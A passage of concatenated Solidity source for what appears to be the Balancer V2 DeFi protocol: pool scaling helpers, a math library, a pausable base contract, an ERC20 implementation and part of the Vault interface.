else if (token == _token7) { return _scalingFactor7; }
else {
_revert(Errors.INVALID_TOKEN);
}
}
/**
* @dev Same as `_scalingFactor()`, except for all registered tokens (in the same order as registered). The Vault
* will always pass balances in this order when calling any of the Pool hooks.
*/
function _scalingFactors() internal view virtual returns (uint256[] memory) {
uint256 totalTokens = _getTotalTokens();
uint256[] memory scalingFactors = new uint256[](totalTokens);
// prettier-ignore
{
if (totalTokens > 0) { scalingFactors[0] = _scalingFactor0; } else { return scalingFactors; }
if (totalTokens > 1) { scalingFactors[1] = _scalingFactor1; } else { return scalingFactors; }
if (totalTokens > 2) { scalingFactors[2] = _scalingFactor2; } else { return scalingFactors; }
if (totalTokens > 3) { scalingFactors[3] = _scalingFactor3; } else { return scalingFactors; }
if (totalTokens > 4) { scalingFactors[4] = _scalingFactor4; } else { return scalingFactors; }
if (totalTokens > 5) { scalingFactors[5] = _scalingFactor5; } else { return scalingFactors; }
if (totalTokens > 6) { scalingFactors[6] = _scalingFactor6; } else { return scalingFactors; }
if (totalTokens > 7) { scalingFactors[7] = _scalingFactor7; } else { return scalingFactors; }
}
return scalingFactors;
}
/**
* @dev Applies `scalingFactor` to `amount`, resulting in a larger or equal value depending on whether it needed
* scaling or not.
*/
function _upscale(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) {
// Upscale rounding wouldn't necessarily always go in the same direction: in a swap for example the balance of
// token in should be rounded up, and that of token out rounded down. This is the only place where we round in
// the same direction for all amounts, as the impact of this rounding is expected to be minimal (and there's no
// rounding error unless `_scalingFactor()` is overriden).
return FixedPoint.mulDown(amount, scalingFactor);
}
/**
* @dev Same as `_upscale`, but for an entire array. This function does not return anything, but instead *mutates*
* the `amounts` array.
*/
function _upscaleArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view {
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
amounts[i] = FixedPoint.mulDown(amounts[i], scalingFactors[i]);
}
}
/**
* @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on
* whether it needed scaling or not. The result is rounded down.
*/
function _downscaleDown(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) {
return FixedPoint.divDown(amount, scalingFactor);
}
/**
* @dev Same as `_downscaleDown`, but for an entire array. This function does not return anything, but instead
* *mutates* the `amounts` array.
*/
function _downscaleDownArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view {
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
amounts[i] = FixedPoint.divDown(amounts[i], scalingFactors[i]);
}
}
/**
* @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on
* whether it needed scaling or not. The result is rounded up.
*/
function _downscaleUp(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) {
return FixedPoint.divUp(amount, scalingFactor);
}
/**
* @dev Same as `_downscaleUp`, but for an entire array. This function does not return anything, but instead
* *mutates* the `amounts` array.
*/
function _downscaleUpArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view {
for (uint256 i = 0; i < _getTotalTokens(); ++i) {
amounts[i] = FixedPoint.divUp(amounts[i], scalingFactors[i]);
}
}
function _getAuthorizer() internal view override returns (IAuthorizer) {
// Access control management is delegated to the Vault's Authorizer. This lets Balancer Governance manage which
// accounts can call permissioned functions: for example, to perform emergency pauses.
// If the owner is delegated, then *all* permissioned functions, including `setSwapFeePercentage`, will be under
// Governance control.
return getVault().getAuthorizer();
}
function _queryAction(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData,
function(bytes32, address, address, uint256[] memory, uint256, uint256, uint256[] memory, bytes memory)
internal
returns (uint256, uint256[] memory, uint256[] memory) _action,
function(uint256[] memory, uint256[] memory) internal view _downscaleArray
) private {
// This uses the same technique used by the Vault in queryBatchSwap. Refer to that function for a detailed
// explanation.
if (msg.sender != address(this)) {
// We perform an external call to ourselves, forwarding the same calldata. In this call, the else clause of
// the preceding if statement will be executed instead.
// solhint-disable-next-line avoid-low-level-calls
(bool success, ) = address(this).call(msg.data);
// solhint-disable-next-line no-inline-assembly
assembly {
// This call should always revert to decode the bpt and token amounts from the revert reason
switch success
case 0 {
// Note we are manually writing the memory slot 0. We can safely overwrite whatever is
// stored there as we take full control of the execution and then immediately return.
// We copy the first 4 bytes to check if it matches with the expected signature, otherwise
// there was another revert reason and we should forward it.
returndatacopy(0, 0, 0x04)
let error := and(mload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000)
// If the first 4 bytes don't match with the expected signature, we forward the revert reason.
if eq(eq(error, 0x43adbafb00000000000000000000000000000000000000000000000000000000), 0) {
returndatacopy(0, 0, returndatasize())
revert(0, returndatasize())
}
// The returndata contains the signature, followed by the raw memory representation of the
// `bptAmount` and `tokenAmounts` (array: length + data). We need to return an ABI-encoded
// representation of these.
// An ABI-encoded response will include one additional field to indicate the starting offset of
// the `tokenAmounts` array. The `bptAmount` will be laid out in the first word of the
// returndata.
//
// In returndata:
// [ signature ][ bptAmount ][ tokenAmounts length ][ tokenAmounts values ]
// [ 4 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ]
//
// We now need to return (ABI-encoded values):
// [ bptAmount ][ tokeAmounts offset ][ tokenAmounts length ][ tokenAmounts values ]
// [ 32 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ]
// We copy 32 bytes for the `bptAmount` from returndata into memory.
// Note that we skip the first 4 bytes for the error signature
returndatacopy(0, 0x04, 32)
// The offsets are 32-bytes long, so the array of `tokenAmounts` will start after
// the initial 64 bytes.
mstore(0x20, 64)
// We now copy the raw memory array for the `tokenAmounts` from returndata into memory.
// Since bpt amount and offset take up 64 bytes, we start copying at address 0x40. We also
// skip the first 36 bytes from returndata, which correspond to the signature plus bpt amount.
returndatacopy(0x40, 0x24, sub(returndatasize(), 36))
// We finally return the ABI-encoded uint256 and the array, which has a total length equal to
// the size of returndata, plus the 32 bytes of the offset but without the 4 bytes of the
// error signature.
return(0, add(returndatasize(), 28))
}
default {
// This call should always revert, but we fail nonetheless if that didn't happen
invalid()
}
}
} else {
uint256[] memory scalingFactors = _scalingFactors();
_upscaleArray(balances, scalingFactors);
(uint256 bptAmount, uint256[] memory tokenAmounts, ) = _action(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
scalingFactors,
userData
);
_downscaleArray(tokenAmounts, scalingFactors);
// solhint-disable-next-line no-inline-assembly
assembly {
// We will return a raw representation of `bptAmount` and `tokenAmounts` in memory, which is composed of
// a 32-byte uint256, followed by a 32-byte for the array length, and finally the 32-byte uint256 values
// Because revert expects a size in bytes, we multiply the array length (stored at `tokenAmounts`) by 32
let size := mul(mload(tokenAmounts), 32)
// We store the `bptAmount` in the previous slot to the `tokenAmounts` array. We can make sure there
// will be at least one available slot due to how the memory scratch space works.
// We can safely overwrite whatever is stored in this slot as we will revert immediately after that.
let start := sub(tokenAmounts, 0x20)
mstore(start, bptAmount)
// We send one extra value for the error signature "QueryError(uint256,uint256[])" which is 0x43adbafb
// We use the previous slot to `bptAmount`.
mstore(sub(start, 0x20), 0x0000000000000000000000000000000000000000000000000000000043adbafb)
start := sub(start, 0x04)
// When copying from `tokenAmounts` into returndata, we copy the additional 68 bytes to also return
// the `bptAmount`, the array 's length, and the error signature.
revert(start, add(size, 68))
}
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "./IBasePool.sol";
/**
* @dev IPools with the General specialization setting should implement this interface.
*
* This is called by the Vault when a user calls `IVault.swap` or `IVault.batchSwap` to swap with this Pool.
* Returns the number of tokens the Pool will grant to the user in a 'given in' swap, or that the user will
* grant to the pool in a 'given out' swap.
*
* This can often be implemented by a `view` function, since many pricing algorithms don't need to track state
* changes in swaps. However, contracts implementing this in non-view functions should check that the caller is
* indeed the Vault.
*/
interface IGeneralPool is IBasePool {
function onSwap(
SwapRequest memory swapRequest,
uint256[] memory balances,
uint256 indexIn,
uint256 indexOut
) external returns (uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow checks.
* Adapted from OpenZeppelin's SafeMath library
*/
library Math {
/**
* @dev Returns the addition of two unsigned integers of 256 bits, reverting on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
_require(c >= a, Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the addition of two signed integers, reverting on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
_require((b >= 0 && c >= a) || (b < 0 && c < a), Errors.ADD_OVERFLOW);
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers of 256 bits, reverting on overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b <= a, Errors.SUB_OVERFLOW);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the subtraction of two signed integers, reverting on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
_require((b >= 0 && c <= a) || (b < 0 && c > a), Errors.SUB_OVERFLOW);
return c;
}
/**
* @dev Returns the largest of two numbers of 256 bits.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers of 256 bits.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
_require(a == 0 || c / a == b, Errors.MUL_OVERFLOW);
return c;
}
function div(
uint256 a,
uint256 b,
bool roundUp
) internal pure returns (uint256) {
return roundUp ? divUp(a, b) : divDown(a, b);
}
function divDown(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
return a / b;
}
function divUp(uint256 a, uint256 b) internal pure returns (uint256) {
_require(b != 0, Errors.ZERO_DIVISION);
if (a == 0) {
return 0;
} else {
return 1 + (a - 1) / b;
}
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
import "./BalancerErrors.sol";
import "./ITemporarilyPausable.sol";
/**
* @dev Allows for a contract to be paused during an initial period after deployment, disabling functionality. Can be
* used as an emergency switch in case a security vulnerability or threat is identified.
*
* The contract can only be paused during the Pause Window, a period that starts at deployment. It can also be
* unpaused and repaused any number of times during this period. This is intended to serve as a safety measure: it lets
* system managers react quickly to potentially dangerous situations, knowing that this action is reversible if careful
* analysis later determines there was a false alarm.
*
* If the contract is paused when the Pause Window finishes, it will remain in the paused state through an additional
* Buffer Period, after which it will be automatically unpaused forever. This is to ensure there is always enough time
* to react to an emergency, even if the threat is discovered shortly before the Pause Window expires.
*
* Note that since the contract can only be paused within the Pause Window, unpausing during the Buffer Period is
* irreversible.
*/
abstract contract TemporarilyPausable is ITemporarilyPausable {
// The Pause Window and Buffer Period are timestamp-based: they should not be relied upon for sub-minute accuracy.
// solhint-disable not-rely-on-time
uint256 private constant _MAX_PAUSE_WINDOW_DURATION = 90 days;
uint256 private constant _MAX_BUFFER_PERIOD_DURATION = 30 days;
uint256 private immutable _pauseWindowEndTime;
uint256 private immutable _bufferPeriodEndTime;
bool private _paused;
constructor(uint256 pauseWindowDuration, uint256 bufferPeriodDuration) {
_require(pauseWindowDuration <= _MAX_PAUSE_WINDOW_DURATION, Errors.MAX_PAUSE_WINDOW_DURATION);
_require(bufferPeriodDuration <= _MAX_BUFFER_PERIOD_DURATION, Errors.MAX_BUFFER_PERIOD_DURATION);
uint256 pauseWindowEndTime = block.timestamp + pauseWindowDuration;
_pauseWindowEndTime = pauseWindowEndTime;
_bufferPeriodEndTime = pauseWindowEndTime + bufferPeriodDuration;
}
/**
* @dev Reverts if the contract is paused.
*/
modifier whenNotPaused() {
_ensureNotPaused();
_;
}
/**
* @dev Returns the current contract pause status, as well as the end times of the Pause Window and Buffer
* Period.
*/
function getPausedState()
external
view
override
returns (
bool paused,
uint256 pauseWindowEndTime,
uint256 bufferPeriodEndTime
)
{
paused = !_isNotPaused();
pauseWindowEndTime = _getPauseWindowEndTime();
bufferPeriodEndTime = _getBufferPeriodEndTime();
}
/**
* @dev Sets the pause state to `paused`. The contract can only be paused until the end of the Pause Window, and
* unpaused until the end of the Buffer Period.
*
* Once the Buffer Period expires, this function reverts unconditionally.
*/
function _setPaused(bool paused) internal {
if (paused) {
_require(block.timestamp < _getPauseWindowEndTime(), Errors.PAUSE_WINDOW_EXPIRED);
} else {
_require(block.timestamp < _getBufferPeriodEndTime(), Errors.BUFFER_PERIOD_EXPIRED);
}
_paused = paused;
emit PausedStateChanged(paused);
}
/**
* @dev Reverts if the contract is paused.
*/
function _ensureNotPaused() internal view {
_require(_isNotPaused(), Errors.PAUSED);
}
/**
* @dev Returns true if the contract is unpaused.
*
* Once the Buffer Period expires, the gas cost of calling this function is reduced dramatically, as storage is no
* longer accessed.
*/
function _isNotPaused() internal view returns (bool) {
// After the Buffer Period, the (inexpensive) timestamp check short-circuits the storage access.
return block.timestamp > _getBufferPeriodEndTime() || !_paused;
}
// These getters lead to reduced bytecode size by inlining the immutable variables in a single place.
function _getPauseWindowEndTime() private view returns (uint256) {
return _pauseWindowEndTime;
}
function _getBufferPeriodEndTime() private view returns (uint256) {
return _bufferPeriodEndTime;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
import "./IERC20.sol";
import "./SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
msg.sender,
_allowances[sender][msg.sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_ALLOWANCE)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(
msg.sender,
spender,
_allowances[msg.sender][spender].sub(subtractedValue, Errors.ERC20_DECREASED_ALLOWANCE_BELOW_ZERO)
);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
_require(sender != address(0), Errors.ERC20_TRANSFER_FROM_ZERO_ADDRESS);
_require(recipient != address(0), Errors.ERC20_TRANSFER_TO_ZERO_ADDRESS);
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, Errors.ERC20_TRANSFER_EXCEEDS_BALANCE);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
_require(account != address(0), Errors.ERC20_BURN_FROM_ZERO_ADDRESS);
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, Errors.ERC20_BURN_EXCEEDS_ALLOWANCE);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/IERC20.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/ISignaturesValidator.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/ITemporarilyPausable.sol";
import "@balancer-labs/v2-solidity-utils/contracts/misc/IWETH.sol";
import "./IAsset.sol";
import "./IAuthorizer.sol";
import "./IFlashLoanRecipient.sol";
import "./IProtocolFeesCollector.sol";
pragma solidity ^0.7.0;
/**
* @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that
* don't override one of these declarations.
*/
interface IVault is ISignaturesValidator, ITemporarilyPausable {
// Generalities about the Vault:
//
// - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are
// transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling
// `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by
// calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning
// a boolean value: in these scenarios, a non-reverting call is assumed to be successful.
//
// - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g.
// while execution control is transferred to a token contract during a swap) will result in a revert. View
// functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results.
// Contracts calling view functions in the Vault must make sure the Vault has not already been entered.
//
// - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools.
// Authorizer
//
// Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists
// outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller
// can perform a given action.
/**
* @dev Returns the Vault's Authorizer.
*/
function getAuthorizer() external view returns (IAuthorizer);
/**
* @dev Sets a new Authorizer for the Vault. The caller must be allowed by the current Authorizer to do this.
*
* Emits an `AuthorizerChanged` event.
*/
function setAuthorizer(IAuthorizer newAuthorizer) external;
/**
* @dev Emitted when a new authorizer is set by `setAuthorizer`.
*/
event AuthorizerChanged(IAuthorizer indexed newAuthorizer);
// Relayers
//
// Additionally, it is possible for an account to perform certain actions on behalf of another one, using their
// Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions,
// and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield
// this power, two things must occur:
// - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This
// means that Balancer governance must approve each individual contract to act as a relayer for the intended
// functions.
// - Each user must approve the relayer to act on their behalf.
// This double protection means users cannot be tricked into approving malicious relayers (because they will not
// have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised
// Authorizer or governance drain user funds, since they would also need to be approved by each individual user.
/**
* @dev Returns true if `user` has approved `relayer` to act as a relayer for them.
*/
function hasApprovedRelayer(address user, address relayer) external view returns (bool);
/**
* @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise.
*
* Emits a `RelayerApprovalChanged` event.
*/
function setRelayerApproval(
address sender,
address relayer,
bool approved
) external;
/**
* @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`.
*/
event RelayerApprovalChanged(address indexed relayer, address indexed sender, bool approved);
// Internal Balance
//
// Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later
// transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination
// when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced
// gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users.
//
// Internal Balance management features batching, which means a single contract call can be used to perform multiple
// operations of different kinds, with different senders and recipients, at once.
/**
* @dev Returns `user`'s Internal Balance for a set of tokens.
*/
function getInternalBalance(address user, IERC20[] memory tokens) external view returns (uint256[] memory);
/**
* @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer)
* and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as
* it lets integrators reuse a user's Vault allowance.
*
* For each operation, if the caller is not `sender`, it must be an authorized relayer for them.
*/
function manageUserBalance(UserBalanceOp[] memory ops) external payable;
/**
* @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received
without manual WETH wrapping or unwrapping.
*/
struct UserBalanceOp {
UserBalanceOpKind kind;
IAsset asset;
uint256 amount;
address sender;
address payable recipient;
}
// There are four possible operations in `manageUserBalance`:
//
// - DEPOSIT_INTERNAL
// Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding
// `sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`.
//
// ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped
// and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is
// relevant for relayers).
//
// Emits an `InternalBalanceChanged` event.
//
//
// - WITHDRAW_INTERNAL
// Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`.
//
// ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send
// it to the recipient as ETH.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_INTERNAL
// Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_EXTERNAL
// Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by
// relayers, as it lets them reuse a user's Vault allowance.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `ExternalBalanceTransfer` event.
enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL, TRANSFER_EXTERNAL }
/**
* @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through
* interacting with Pools using Internal Balance.
*
* Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH
* address.
*/
event InternalBalanceChanged(address indexed user, IERC20 indexed token, int256 delta);
/**
* @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account.
*/
event ExternalBalanceTransfer(IERC20 indexed token, address indexed sender, address recipient, uint256 amount);
// Pools
//
// There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced
// functionality:
//
// - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the
// balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads),
// which increase with the number of registered tokens.
//
// - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the
// balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted
// constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are
// independent of the number of registered tokens.
//
// - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like
// minimal swap info Pools, these are called via IMinimalSwapInfoPool.
enum PoolSpecialization { GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN }
/**
* @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which
* is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be
* changed.
*
* The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`,
* depending on the chosen specialization setting. This contract is known as the Pool's contract.
*
* Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words,
* multiple Pools may share the same contract.
*
* Emits a `PoolRegistered` event.
*/
function registerPool(PoolSpecialization specialization) external returns (bytes32);
/**
* @dev Emitted when a Pool is registered by calling `registerPool`.
*/
event PoolRegistered(bytes32 indexed poolId, address indexed poolAddress, PoolSpecialization specialization);
/**
* @dev Returns a Pool's contract address and specialization setting.
*/
function getPool(bytes32 poolId) external view returns (address, PoolSpecialization);
